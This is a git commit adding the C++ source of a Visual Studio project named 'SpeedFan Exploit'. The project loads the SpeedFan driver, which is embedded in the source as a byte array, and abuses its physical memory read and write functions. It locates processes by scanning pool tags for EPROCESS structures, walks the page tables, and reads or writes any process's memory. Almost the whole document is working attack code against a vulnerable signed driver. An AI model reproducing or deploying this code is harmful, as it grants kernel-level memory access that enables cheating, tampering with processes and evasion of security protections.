Added source

This commit is contained in:
SamLaren
2018-03-31 01:01:13 +02:00
parent 31b6de4afd
commit 491e668ede
16 changed files with 4504 additions and 0 deletions
+28
View File
@@ -0,0 +1,28 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SpeedFan Exploit", "SpeedFan Exploit\SpeedFan Exploit.vcxproj", "{9C4AF039-4DD0-4734-873D-DB238547E82C}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{9C4AF039-4DD0-4734-873D-DB238547E82C}.Debug|x64.ActiveCfg = Debug|x64
{9C4AF039-4DD0-4734-873D-DB238547E82C}.Debug|x64.Build.0 = Debug|x64
{9C4AF039-4DD0-4734-873D-DB238547E82C}.Debug|x86.ActiveCfg = Debug|Win32
{9C4AF039-4DD0-4734-873D-DB238547E82C}.Debug|x86.Build.0 = Debug|Win32
{9C4AF039-4DD0-4734-873D-DB238547E82C}.Release|x64.ActiveCfg = Release|x64
{9C4AF039-4DD0-4734-873D-DB238547E82C}.Release|x64.Build.0 = Release|x64
{9C4AF039-4DD0-4734-873D-DB238547E82C}.Release|x86.ActiveCfg = Release|Win32
{9C4AF039-4DD0-4734-873D-DB238547E82C}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
+103
View File
@@ -0,0 +1,103 @@
#include "MemIter.h"
#include <functional>
/*
Set up the iterator by passing portable functions
*/
BOOLEAN MemIter::OnSetup(std::function<BOOLEAN(PVOID, PVOID, ULONG, PVOID)> Callback, std::function<BOOLEAN(uint64_t, DWORD, LPVOID)> ReadPhysicalAddress)
{
if (!Callback || !ReadPhysicalAddress)
return false;
if (!SFSetup())
return false;
if (!SFGetMemoryInfo(m_MemInfo, m_InfoCount))
return false;
this->Callback = Callback;
this->ReadPhysicalAddress = ReadPhysicalAddress;
return true;
}
MemIter::~MemIter()
{
}
BOOLEAN MemIter::isInRam(uint64_t address, uint32_t len)
{
for (int j = 0; j < m_InfoCount; j++)
if ((m_MemInfo[j].Start <= address) && ((address + len) <= m_MemInfo[j].End))
return true;
return false;
}
/*
Iterate physical memory, scan for pooltag
*/
BOOLEAN MemIter::IterateMemory(const char* Pooltag, PVOID Context)
{
BOOLEAN bFound = FALSE;
POOL_HEADER PoolHeader{ 0 };
uint32_t tag = (
Pooltag[0] |
Pooltag[1] << 8 |
Pooltag[2] << 16 |
Pooltag[3] << 24
);
for (auto i = 0ULL; i < m_MemInfo[m_InfoCount - 1].End; i += 0x1000)
{
if (!isInRam(i, 0x1000UL))
continue;
uint8_t* lpCursor = (uint8_t*)i;
uint32_t previousSize = 0;
while (true)
{
if (!ReadPhysicalAddress((uint64_t)lpCursor, sizeof(POOL_HEADER), &PoolHeader))
return 0;
auto blockSize = (PoolHeader.BlockSize << 4);
auto previousBlockSize = (PoolHeader.PreviousSize << 4);
if (previousBlockSize != previousSize ||
blockSize == 0 ||
blockSize >= 0xFFF ||
!g_pUtils->isPrintable(PoolHeader.PoolTag & 0x7FFFFFFF))
break;
previousSize = blockSize;
if (tag == PoolHeader.PoolTag & 0x7FFFFFFF)
{
PVOID block = VirtualAlloc(nullptr, blockSize, MEM_COMMIT, PAGE_READWRITE); // Alloc mem for whole block
if (!block)
break;
if (!ReadPhysicalAddress((uint64_t)lpCursor, blockSize, block)) // Read whole block
{
if (block)
VirtualFree(block, 0, MEM_RELEASE);
break;
}
bFound = Callback(block, lpCursor, blockSize, Context); // Callback, passes alloced block and physical address to block and size of block
if (block)
VirtualFree(block, 0, MEM_RELEASE);
break;
}
lpCursor += blockSize;
if (((uint64_t)lpCursor - i) >= 0x1000)
break;
}
if (bFound)
break;
}
return bFound;
}
+31
View File
@@ -0,0 +1,31 @@
#ifndef MEMITER_H
#define MEMITER_H
#pragma once
#include <Windows.h>
#include <functional>
#include "Superfetch.h"
#include "SuperfetchNative.h"
#include "Utils.h"
#include "MemIterNative.h"
class MemIter
{
public:
BOOLEAN OnSetup(std::function<BOOLEAN(PVOID, PVOID, ULONG, PVOID)> Callback, std::function<BOOLEAN(uint64_t, DWORD, LPVOID)> ReadPhysicalAddress);
~MemIter();
BOOLEAN IterateMemory(const char* Pooltag, PVOID Context);
private:
BOOLEAN isInRam(uint64_t address, uint32_t len);
private:
std::function<BOOLEAN(PVOID, PVOID, ULONG, PVOID)> Callback;
std::function<BOOLEAN(uint64_t, DWORD, LPVOID)> ReadPhysicalAddress;
SFMemoryInfo m_MemInfo[32];
int m_InfoCount = 0;
};
#endif // !MEMITER_H
+90
View File
@@ -0,0 +1,90 @@
#pragma once
#ifndef MEMITER_NATIVE_H
#define MEMITER_NATIVE_H
#include <Windows.h>
typedef struct _POOL_HEADER
{
union
{
struct
{
#if defined(_AMD64_)
ULONG PreviousSize : 8;
ULONG PoolIndex : 8;
ULONG BlockSize : 8;
ULONG PoolType : 8;
#else
USHORT PreviousSize : 9;
USHORT PoolIndex : 7;
USHORT BlockSize : 9;
USHORT PoolType : 7;
#endif
};
ULONG Ulong1;
};
#if defined(_WIN64)
ULONG PoolTag;
#endif
union
{
#if defined(_WIN64)
void *ProcessBilled;
#else
ULONG PoolTag;
#endif
struct
{
USHORT AllocatorBackTraceIndex;
USHORT PoolTagHash;
};
};
} POOL_HEADER, *PPOOL_HEADER;
typedef struct _OBJECT_HEADER
{
LONG PointerCount;
union
{
LONG HandleCount;
PVOID NextToFree;
};
ULONGLONG Lock;
UCHAR TypeIndex;
union
{
UCHAR TraceFlags;
struct
{
UCHAR DbgRefTrace : 1;
UCHAR DbgTracePermanent : 1;
UCHAR Reserved : 6;
};
};
UCHAR InfoMask;
union
{
UCHAR Flags;
struct
{
UCHAR NewObject : 1;
UCHAR KernelObject : 1;
UCHAR KernelOnlyAccess : 1;
UCHAR ExclusiveObject : 1;
UCHAR PermanentObject : 1;
UCHAR DefaultSecurityQuota : 1;
UCHAR SingleHandleEntry : 1;
UCHAR DeletedInline : 1;
};
};
union
{
PVOID ObjectCreateInfo;
PVOID QuotaBlockCharged;
};
PVOID SecurityDescriptor;
PVOID Body;
} OBJECT_HEADER, *POBJECT_HEADER;
#endif // !MEMITER_NATIVE_H
+192
View File
@@ -0,0 +1,192 @@
#include "Proc.h"
#include <Windows.h>
#include <string>
#include <TlHelp32.h>
#include <SubAuth.h>
#include "MemIter.h"
#include "Speedfan.h"
/*
"Attaches" to process by getting dir table
*/
BOOLEAN Proc::OnSetup(std::string ProcessName)
{
m_ProcessName = ProcessName;
if (!GetProcessId())
return false;
if (!g_pUtils->EnablePrivilege("SeLoadDriverPrivilege")) // Set load driver privileges
return false;
if (!drv->OnSetup()) // Load Speedfan driver
return false;
// Set up functions
auto ReadPhysicalAddress = [=](uint64_t physAddress, DWORD Size, LPVOID Return) { return drv->ReadPhysicalAddress(physAddress, Size, Return); };
auto Callback = [=](PVOID VaBlock, PVOID PhysBlock, ULONG BlockSize, PVOID Context) { return this->Callback(VaBlock, PhysBlock, BlockSize, Context); };
// Pass functions to memory iterator
if (!iter->OnSetup(Callback, ReadPhysicalAddress))
return false;
// Iterate memory for Pooltag "Proc"
if (!iter->IterateMemory("Proc", &m_ProcessId))
return false;
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, m_ProcessId); // For querying the WOW64 information
if (hProc == INVALID_HANDLE_VALUE)
return false;
BOOLEAN bResult = IsWow64Process(hProc, &m_Is32BitProcess); // Check if the desired process is running in WOW64 environment
CloseHandle(hProc);
if (!bResult)
return false;
return m_DirectoryTable != 0;
}
Proc::~Proc()
{
drv->~Speedfan();
iter->~MemIter();
}
/*
Memory iterator callback
*/
BOOLEAN Proc::Callback(PVOID VaBlock, PVOID PhysBlock, ULONG BlockSize, PVOID Context)
{
uint64_t ProcessId = *(uint64_t*)Context;
//auto pObjectHeader = (POBJECT_HEADER)((uint8_t*)VaBlock + 0x30);
auto pEprocess = (uint8_t*)((uint8_t*)VaBlock + 0x80);
auto pid = *(uint64_t*)(pEprocess + 0x2E0);
printf("Name: %s\tPID: %d\n", (uint8_t*)pEprocess + 0x450, pid);
if (pid == ProcessId)
{
m_PhysEprocess = (uint8_t*)PhysBlock + 0x80;
m_DirectoryTable = *(uint64_t*)(pEprocess + 0x28);
m_VaPEB = *(uint64_t*)(pEprocess + 0x3F8);
return true;
}
return false;
}
/*
Get process id from name
*/
BOOLEAN Proc::GetProcessId()
{
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
PROCESSENTRY32 entry{ sizeof(PROCESSENTRY32) };
if (hSnap != INVALID_HANDLE_VALUE)
{
if (Process32First(hSnap, &entry))
{
do
{
if (!m_ProcessName.compare(entry.szExeFile))
{
m_ProcessId = entry.th32ProcessID;
CloseHandle(hSnap);
return true;
}
} while (Process32Next(hSnap, &entry));
}
CloseHandle(hSnap);
}
return false;
}
BOOLEAN Proc::ReadProcessMemory(PVOID Address, DWORD Size, PVOID Dst)
{
if (!Address || !Size || !Dst || !m_DirectoryTable)
return false;
uint64_t PhysicalAddress = TranslateVirtualAddress(m_DirectoryTable, Address);
return drv->ReadPhysicalAddress(PhysicalAddress, Size, Dst);
}
BOOLEAN Proc::WriteProcessMemory(PVOID Address, DWORD Size, PVOID Src)
{
if (!Address || !Size || !Src || !m_DirectoryTable)
return false;
uint64_t PhysicalAddress = TranslateVirtualAddress(m_DirectoryTable, Address);
return drv->WritePhysicalAddress(PhysicalAddress, Size, Src);
}
/* Translating Virtual Address To Physical Address, Using a Table Base */
uint64_t Proc::TranslateVirtualAddress(uint64_t directoryTableBase, LPVOID virtualAddress)
{
auto va = (uint64_t)virtualAddress;
auto PML4 = (USHORT)((va >> 39) & 0x1FF); //<! PML4 Entry Index
auto DirectoryPtr = (USHORT)((va >> 30) & 0x1FF); //<! Page-Directory-Pointer Table Index
auto Directory = (USHORT)((va >> 21) & 0x1FF); //<! Page Directory Table Index
auto Table = (USHORT)((va >> 12) & 0x1FF); //<! Page Table Index
//
// Read the PML4 Entry. DirectoryTableBase has the base address of the table.
// It can be read from the CR3 register or from the kernel process object.
//
auto PML4E = drv->ReadPhysicalAddress<uint64_t>(directoryTableBase + PML4 * sizeof(ULONGLONG));
if (PML4E == 0)
return 0;
//
// The PML4E that we read is the base address of the next table on the chain,
// the Page-Directory-Pointer Table.
//
auto PDPTE = drv->ReadPhysicalAddress<uint64_t>((PML4E & 0xFFFFFFFFFF000) + DirectoryPtr * sizeof(ULONGLONG));
if (PDPTE == 0)
return 0;
//Check the PS bit
if ((PDPTE & (1 << 7)) != 0) {
// If the PDPTE’s PS flag is 1, the PDPTE maps a 1-GByte page. The
// final physical address is computed as follows:
// — Bits 51:30 are from the PDPTE.
// — Bits 29:0 are from the original va address.
return (PDPTE & 0xFFFFFC0000000) + (va & 0x3FFFFFFF);
}
//
// PS bit was 0. That means that the PDPTE references the next table
// on the chain, the Page Directory Table. Read it.
//
auto PDE = drv->ReadPhysicalAddress<uint64_t>((PDPTE & 0xFFFFFFFFFF000) + Directory * sizeof(ULONGLONG));
if (PDE == 0)
return 0;
if ((PDE & (1 << 7)) != 0) {
// If the PDE’s PS flag is 1, the PDE maps a 2-MByte page. The
// final physical address is computed as follows:
// — Bits 51:21 are from the PDE.
// — Bits 20:0 are from the original va address.
return (PDE & 0xFFFFFFFE00000) + (va & 0x1FFFFF);
}
//
// PS bit was 0. That means that the PDE references a Page Table.
//
auto PTE = drv->ReadPhysicalAddress<uint64_t>((PDE & 0xFFFFFFFFFF000) + Table * sizeof(ULONGLONG));
if (PTE == 0)
return 0;
//
// The PTE maps a 4-KByte page. The
// final physical address is computed as follows:
// — Bits 51:12 are from the PTE.
// — Bits 11:0 are from the original va address.
return (PTE & 0xFFFFFFFFFF000) + (va & 0xFFF);
}
+52
View File
@@ -0,0 +1,52 @@
#ifndef PROC_H
#define PROC_H
#pragma once
#include <Windows.h>
#include <string>
#include <vector>
#include "Speedfan.h"
#include "MemIter.h"
class Proc
{
public:
BOOLEAN OnSetup(std::string ProcessName);
~Proc();
BOOLEAN ReadProcessMemory(PVOID Address, DWORD Size, PVOID Dst);
template <typename T, typename U>
T Read(U Address)
{
T Buff{ 0 };
ReadProcessMemory((PVOID)Address, sizeof(T), &Buff);
return Buff;
}
BOOLEAN WriteProcessMemory(PVOID Address, DWORD Size, PVOID Src);
template <typename T, typename U>
BOOLEAN Write(U Address, T Val)
{
return WriteProcessMemory((PVOID)Address, sizeof(T), &Val);
}
private:
BOOLEAN GetProcessId();
BOOLEAN Callback(PVOID Block, PVOID PhysBlock, ULONG BlockSize, PVOID Context);
uint64_t TranslateVirtualAddress(uint64_t directoryTableBase, LPVOID virtualAddress);
private:
std::string m_ProcessName;
uint64_t m_ProcessId;
uint64_t m_DirectoryTable;
uint8_t* m_PhysEprocess;
uint64_t m_VaPEB;
int m_Is32BitProcess;
Speedfan* drv = new Speedfan();
MemIter* iter = new MemIter();
};
#endif // !PROC_H
+133
View File
@@ -0,0 +1,133 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{9C4AF039-4DD0-4734-873D-DB238547E82C}</ProjectGuid>
<RootNamespace>SpeedFanExploit</RootNamespace>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="main.cpp" />
<ClCompile Include="MemIter.cpp" />
<ClCompile Include="Proc.cpp" />
<ClCompile Include="Speedfan.cpp" />
<ClCompile Include="Superfetch.cpp" />
<ClCompile Include="Utils.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="MemIter.h" />
<ClInclude Include="MemIterNative.h" />
<ClInclude Include="Proc.h" />
<ClInclude Include="Speedfan.h" />
<ClInclude Include="Superfetch.h" />
<ClInclude Include="SuperfetchNative.h" />
<ClInclude Include="Utils.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,60 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Superfetch.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Speedfan.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="MemIter.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Proc.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Superfetch.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="SuperfetchNative.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Utils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Speedfan.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="MemIter.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="MemIterNative.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Proc.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
File diff suppressed because it is too large Load Diff
+35
View File
@@ -0,0 +1,35 @@
#ifndef SPEEDFAN_H
#define SPEEDFAN_H
#pragma once
#include <Windows.h>
#include "Utils.h"
class Speedfan
{
public:
BOOLEAN OnSetup();
BOOLEAN ReadMSR(uint32_t Msr, uint64_t* Ret);
BOOLEAN ReadPhysicalAddress(uint64_t physAddress, DWORD Size, LPVOID Return);
BOOLEAN WritePhysicalAddress(uint64_t physAddress, DWORD Size, PVOID Src);
~Speedfan();
template <typename T, typename U>
T ReadPhysicalAddress(U Address)
{
T Buff{ 0 };
ReadPhysicalAddress((uint64_t)Address, sizeof(T), &Buff);
return Buff;
}
private:
BOOLEAN DropDriver();
BOOLEAN LoadDriver();
private:
char m_szPath[MAX_PATH];
HANDLE m_hDriver;
};
#endif // !SPEEDFAN_H
extern unsigned char SpeedfanShell[28664];
+139
View File
@@ -0,0 +1,139 @@
#include "Superfetch.h"
#include "SuperfetchNative.h"
#include <Windows.h>
#include <memory>
template<typename SYS_TYPE>
std::unique_ptr<SYS_TYPE>
QueryInfo(
__in SYSTEM_INFORMATION_CLASS sysClass
)
{
size_t size = sizeof(RTL_PROCESS_MODULES) + SPAGE_SIZE;
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
void* info = malloc(size);
if (!info)
return std::unique_ptr<SYS_TYPE>(nullptr);
for (; STATUS_INFO_LENGTH_MISMATCH == status; size *= 2)
{
status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)sysClass,
info,
size,
nullptr);
info = realloc(info, size * 2);
if (!info)
break;
}
std::unique_ptr<SYS_TYPE> r_info = std::unique_ptr<SYS_TYPE>(static_cast<SYS_TYPE*>(info));
return r_info;
}
inline void SFBuildInfo(IN PSUPERFETCH_INFORMATION SuperfetchInfo, IN PVOID Buffer, IN ULONG Length, IN SUPERFETCH_INFORMATION_CLASS InfoClass) {
SuperfetchInfo->Version = SUPERFETCH_VERSION;
SuperfetchInfo->Magic = SUPERFETCH_MAGIC;
SuperfetchInfo->Data = Buffer;
SuperfetchInfo->Length = Length;
SuperfetchInfo->InfoClass = InfoClass;
}
bool SFSetup()
{
BOOLEAN old;
auto status = RtlAdjustPrivilege(SE_PROF_SINGLE_PROCESS_PRIVILEGE, TRUE, FALSE, &old);
status |= RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &old);
if (!NT_SUCCESS(status))
return false;
SYSTEM_BASIC_INFORMATION basicInfo;
status = NtQuerySystemInformation(SystemBasicInformation,
&basicInfo, sizeof(SYSTEM_BASIC_INFORMATION), nullptr);
if (!NT_SUCCESS(status))
return false;
return true;
}
bool SFGetMemoryInfo(SFMemoryInfo* pInfo, int& rCount)
{
PPF_MEMORY_RANGE_INFO MemoryRanges;
SUPERFETCH_INFORMATION SuperfetchInfo;
ULONG ResultLength = 0;
PF_MEMORY_RANGE_INFO MemoryRangeInfo;
MemoryRangeInfo.Version = 1;
SFBuildInfo(&SuperfetchInfo, &MemoryRangeInfo, sizeof(MemoryRangeInfo), SuperfetchMemoryRangesQuery);
if (
NtQuerySystemInformation(SystemSuperfetchInformation, &SuperfetchInfo, sizeof(SuperfetchInfo), &ResultLength)
== STATUS_BUFFER_TOO_SMALL)
{
MemoryRanges = static_cast<PPF_MEMORY_RANGE_INFO>(HeapAlloc(GetProcessHeap(), 0, ResultLength));
MemoryRanges->Version = 1;
SFBuildInfo(&SuperfetchInfo, MemoryRanges, ResultLength, SuperfetchMemoryRangesQuery);
if (!NT_SUCCESS(NtQuerySystemInformation(SystemSuperfetchInformation, &SuperfetchInfo, sizeof(SuperfetchInfo), &ResultLength)))
return false;
}
else {
MemoryRanges = &MemoryRangeInfo;
}
rCount = 0;
PPHYSICAL_MEMORY_RUN Node;
for (ULONG i = 0; i < MemoryRanges->RangeCount; i++) {
Node = reinterpret_cast<PPHYSICAL_MEMORY_RUN>(&MemoryRanges->Ranges[i]);
pInfo[i].Start = Node->BasePage << PAGE_SHIFT;
pInfo[i].End = (Node->BasePage + Node->PageCount) << PAGE_SHIFT;
pInfo[i].PageCount = Node->PageCount;
pInfo[i].Size = ((Node->PageCount << PAGE_SHIFT) >> 10) * 1024; // kb to byte
rCount++;
}
return true;
}
uint64_t SFGetNtBase()
{
auto module_info = QueryInfo<RTL_PROCESS_MODULES>(SystemModuleInformation);
if (module_info.get() && module_info->NumberOfModules)
return reinterpret_cast<size_t>(module_info->Modules[0].ImageBase);
return 0;
}
uint64_t SFGetWin32kBase()
{
return SFGetModuleBase("win32k.sys");
}
uint64_t SFGetHalBase()
{
return SFGetModuleBase("hal.sys");
}
uint64_t SFGetModuleBase(char* module)
{
auto module_info = QueryInfo<RTL_PROCESS_MODULES>(SystemModuleInformation);
for (size_t i = 0; i < module_info->NumberOfModules; i++)
if (!_strnicmp(module, module_info.get()->Modules[i].FullPathName + module_info->Modules[i].OffsetToFileName, strlen(module) + 1))
return reinterpret_cast<size_t>(module_info->Modules[i].ImageBase);
return 0;
}
uint64_t SFGetEProcess(int pid)
{
auto handle_info = QueryInfo<SYSTEM_HANDLE_INFORMATION>(SystemHandleInformation);
if (!handle_info.get())
return 0;
for (size_t i = 0; i < handle_info->HandleCount; i++)
if (pid == handle_info->Handles[i].ProcessId && 7 == handle_info->Handles[i].ObjectTypeNumber)
return reinterpret_cast<size_t>(handle_info->Handles[i].Object);
return 0;
}
+22
View File
@@ -0,0 +1,22 @@
#ifndef _SUPERFETCH_H
#define _SUPERFETCH_H
#include <stdint.h>
struct SFMemoryInfo
{
uint64_t Start;
uint64_t End;
int PageCount;
uint64_t Size;
};
bool SFSetup();
bool SFGetMemoryInfo(SFMemoryInfo* pInfo, int& rCount);
uint64_t SFGetModuleBase(char* module);
uint64_t SFGetNtBase();
uint64_t SFGetWin32kBase();
uint64_t SFGetHalBase();
uint64_t SFGetEProcess(int pid);
#endif
+421
View File
@@ -0,0 +1,421 @@
#ifndef _SUPERFETCH_NATIVE_H
#define _SUPERFETCH_NATIVE_H
#pragma comment(lib, "ntdll.lib")
#define _AMD64_
#include <minwindef.h>
typedef long NTSTATUS, *PNTSTATUS;
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#include <ntstatus.h>
//
// Memory Manager Page Lists
//
typedef enum _MMLISTS {
ZeroedPageList = 0,
FreePageList = 1,
StandbyPageList = 2,
ModifiedPageList = 3,
ModifiedNoWritePageList = 4,
BadPageList = 5,
ActiveAndValid = 6,
TransitionPage = 7
} MMLISTS;
//
// PFN Identity Uses
//
#define MMPFNUSE_PROCESSPRIVATE 0
#define MMPFNUSE_FILE 1
#define MMPFNUSE_PAGEFILEMAPPED 2
#define MMPFNUSE_PAGETABLE 3
#define MMPFNUSE_PAGEDPOOL 4
#define MMPFNUSE_NONPAGEDPOOL 5
#define MMPFNUSE_SYSTEMPTE 6
#define MMPFNUSE_SESSIONPRIVATE 7
#define MMPFNUSE_METAFILE 8
#define MMPFNUSE_AWEPAGE 9
#define MMPFNUSE_DRIVERLOCKPAGE 10
#define MMPFNUSE_KERNELSTACK 11
typedef struct _SYSTEM_MEMORY_LIST_INFORMATION {
SIZE_T ZeroPageCount;
SIZE_T FreePageCount;
SIZE_T ModifiedPageCount;
SIZE_T ModifiedNoWritePageCount;
SIZE_T BadPageCount;
SIZE_T PageCountByPriority[8];
SIZE_T RepurposedPagesByPriority[8];
ULONG_PTR ModifiedPageCountPageFile;
} SYSTEM_MEMORY_LIST_INFORMATION, *PSYSTEM_MEMORY_LIST_INFORMATION;
//
// Sub-Information Types for PFN Identity
//
typedef struct _MEMORY_FRAME_INFORMATION {
ULONGLONG UseDescription : 4;
ULONGLONG ListDescription : 3;
ULONGLONG Reserved0 : 1;
ULONGLONG Pinned : 1;
ULONGLONG DontUse : 48;
ULONGLONG Priority : 3;
ULONGLONG Reserved : 4;
} MEMORY_FRAME_INFORMATION, *PMEMORY_FRAME_INFORMATION;
typedef struct _FILEOFFSET_INFORMATION {
ULONGLONG DontUse : 9;
ULONGLONG Offset : 48;
ULONGLONG Reserved : 7;
} FILEOFFSET_INFORMATION, *PFILEOFFSET_INFORMATION;
typedef struct _PAGEDIR_INFORMATION {
ULONGLONG DontUse : 9;
